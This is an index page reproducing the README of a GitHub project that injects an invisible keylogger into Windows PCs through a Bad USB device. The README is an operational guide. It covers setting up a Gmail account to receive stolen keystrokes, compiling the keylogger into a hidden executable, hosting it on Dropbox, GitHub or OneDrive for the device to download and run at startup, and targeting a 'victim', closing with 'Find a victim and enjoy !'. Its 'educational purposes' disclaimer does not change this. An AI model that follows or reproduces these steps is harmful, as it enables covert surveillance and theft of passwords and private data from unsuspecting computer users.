An open API service indexing awesome lists of open source software.

https://github.com/tuconnaisyouknow/badusb_keyloggerinjector

This script allows you to inject an invisible keylogger thanks to a Bad USB.
https://github.com/tuconnaisyouknow/badusb_keyloggerinjector

arduino bad-usb badusb duckyscript grabber keylogger malduino malduinoscripts payload powershell rubber rubber-ducky rubberducky script startup startup-script stealer usb-hid

Last synced: 18 days ago
JSON representation

This script allows you to inject an invisible keylogger thanks to a Bad USB.

Awesome Lists containing this project

README

        

# BadUSB_passStealer
# Warning ⚠️
Everything in this repository is **strictly** for educational purposes. Notice **I am not responsible** for stolen data. **You are responsible** for your actions using developed script for **BadUSB**.
# About ℹ️
This **script** allows you to inject an invsible **keylogger** which run on **Windows** startup. To do this i used this [keylogger script](https://github.com/x4nth055/pythoncode-tutorials/tree/master/ethical-hacking/keylogger).
### NB n°1 (for arduino BadUSB)
Sometimes, you will see something like this :
```
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
```
This is only to write these characters : "@", "\\". But it depends on the computer's layout, so adapt these characters thanks to this [site](https://www.csee.umbc.edu/portal/help/theory/ascii.txt) and the sequence you actually use to wirte these characters with your keyboard. (or switch the keyboard layout to French).
### US Layout
For US layout you only have to replace by this for "\\" :
```
Keyboard.press(92);
Keyboard.releaseAll();
```
And by this for "@" :
```
Keyboard.press(64);
Keyboard.releaseAll();
```
### NB n°2
You can customize the **delay** according to the speed in which you plug the **BadUSB**.
### NB n°3
When you plug the BadUSB in a PC you have to wait for the caps lock to flash to unplug it.
# Getting Started ✔️
## Requirments
1. Have a **BadUSB**.

2. Install **Arduino software** [here](https://www.arduino.cc/en/software) (if you have a BadUSB based on Arduino);

3. Have a **Gmail** account and enable **less secure app** [here](https://www.google.com/settings/security/lesssecureapps);

4. Have latest python version installed on your PC;

5. Have latest pip version installed on your PC;

6. Have a victim with **Windows OS** installed in his PC;
# Install latest version of Python and pip
## Python
1. Download latest python version (installer 64-bit or 32-bit) [here](https://www.python.org/downloads/windows/);
2. Now run the installer
3. Select "Add python.exe to PATH" checkbox and then click on "install now";
## Pip
1. Launch a powershell prompt and run the following command to download get-pip.py :
```
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
```
2. Then run the following command to install pip :
```
python get-pip.py
```
## Install
1. Download this repository;

**Linux :**
```
git clone https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector
cd BadUSB_keyloggerInjector
```
**Windows :** Click on green button on right top of main page. Then click on "Download Zip" and extract zip file.

2. Replace your mail and password [here](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/keylogger.py) at line 8, 9;

3. Convert keylogger.py in exe file with this command :
```
pip install pyinstaller
pyinstaller --onefile -w keylogger.py
```
4. [Upload](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/edit/main/README.md#how-to-set-a-link-for-wget-the-script-%EF%B8%8F) your files to download them;

5. Replace link [here](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/keylogger.ino) with keylogger.exe link at line 93;

6. Put the .ino or .txt file in your BadUSB;

7. Find a victim and enjoy !
## Requirments for victim PC
* Turn off caps lock.
* Switch the keyboard layout to French (or adapt the code according to your layout).
# How to set a link for wget the script ⬇️
Remember to upload first keylogger.exe file to add its link into the startSrcipt.ps1 file.
## Dropbox
1. Create a dropbox account [here](https://www.dropbox.com);

2. Upload your file;

3. Copy the link of the file and change ?dl=0 by ?dl=1;

4. You will get a link like this : https://dropbox.com/s/link/YOURFILE?dl=1;

5. Now put these link in the [.ino](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.ino) or [.txt](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.txt) file;
## Github
1. Create a Github account [here](https://github.com/signup);

2. Create a public repository;

3. Upload your file;

4. Go to your file page and click on RAW button;

5. Copy the RAW page link and put it in the [.ino](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.ino) or [.txt](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.txt) file;
## One Drive
1. Create a One Drive account [here](https://signup.live.com/signup);

2. Upload your file;

3. Follow this [tutorial](https://mangolassi.it/topic/19276/how-to-configure-a-onedrive-file-for-use-with-wget);

4. Put the link you got in the [.ino](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.ino) or [.txt](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.txt) file;